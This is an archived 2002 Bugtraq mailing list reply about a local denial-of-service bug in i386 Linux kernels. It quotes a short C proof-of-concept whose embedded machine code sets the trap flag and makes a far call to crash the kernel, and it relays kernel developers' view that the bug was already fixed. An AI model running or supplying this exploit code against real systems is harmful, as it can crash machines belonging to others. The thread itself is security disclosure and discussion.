Bugtraq mailing list archives
RE: i386 Linux kernel DoS
From: Leif Sawyer <lsawyer () gci com>
Date: Tue, 12 Nov 2002 14:58:36 -0900
Christophe Devine writes:
/* USE AT YOUR OWN RISK ! */ int main( void ) { char dos[] = "\x9C" /* pushfd */ "\x58" /* pop eax */ "\x0D\x00\x01\x00\x00" /* or eax,100h */ "\x50" /* push eax */ "\x9D" /* popfd */ "\x9A\x00\x00\x00\x00\x07\x00"; /* call 07h:00h */ void (* f)( void ); f = (void *) dos; (* f)(); return 1; }
You didn't specify which kernel this was being used against, but this is what the response from LKML is:
-----Original Message----- From: Alan Cox Sent: Tuesday, November 12, 2002 3:10 PM To: Christoph Hellwig Cc: Leif Sawyer; Linux Kernel Mailing List Subject: Re: FW: i386 Linux kernel DoS On Tue, 2002-11-12 at 23:31, Christoph Hellwig wrote:On Tue, Nov 12, 2002 at 02:28:55PM -0900, Leif Sawyer wrote:This was posted on bugtraq today...A real segfaulting program? wow :)Looks like the TF handling bug which was fixed a while ago
Current thread:
- i386 Linux kernel DoS Christophe Devine (Nov 13)
- <Possible follow-ups>
- RE: i386 Linux kernel DoS Leif Sawyer (Nov 15)
- Re: i386 Linux kernel DoS Christophe Devine (Nov 15)
- Re: i386 Linux kernel DoS Jirka Kosina (Nov 17)